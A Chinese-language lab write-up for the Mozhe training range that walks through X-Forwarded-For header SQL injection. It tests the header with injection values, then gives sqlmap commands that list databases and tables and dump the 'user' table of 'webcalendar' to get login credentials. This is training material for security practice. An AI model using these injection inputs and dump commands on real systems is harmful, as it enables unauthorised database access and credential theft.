前言
练习X-Forwarded-For头注入,使用sqlmap进行注入。
自己注册一个墨者账号,就可以练习里面的在线靶场。
原理
登录后台提示ip信息不正确,这种情况一般是x-forwarded-for读取客户端ip,通过在数据包添加x-forwarded-for:1.1.1.1看 respone包中是否存在1.1.1.1,如果存在则证明用x-forwarded-for读取客户端数据,则存在注入漏洞,通过在登录框数据包中添加x-forwarded-for:*,用sqlmap跑注入,跑数据库名,表名,字段名,字段内容,登录后台获取key值。
以上原理讲解参考
判断注入点
开启靶场:https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
使用burp抓包,获取登录请求。
添加X-Forwarded-For字段,设置为127.0.0.1
进行测试:
将X-Forwarded-For字段的值设置为127.0.0.1'
,进行测试:
将X-Forwarded-For字段的值设置为127.0.0.1*
,进行测试:
以上测试结果,说明存在X-Forwarded-For注入点。(为什么?)
使用sqlmap进行注入利用
将HTTP头存在txt文件,将txt放到sqlmap的根目录:
txt文件的内容:
1 | POST /index.php HTTP/1.1 |
- 使用sqlmap,获取数据库名称:
1
python sqlmap.py -r 1.txt --dbs --batch
- 获取数据库
webcalendar
的所有表名称:1
python sqlmap.py -r 1.txt -D webcalendar --tables --batch
- 获取表
user
的所有列数据1
python sqlmap.py -r 1.txt -D webcalendar -T user --dump --batch
最后使用表中的用户名密码登录系统就行了。参考
参考了这篇文章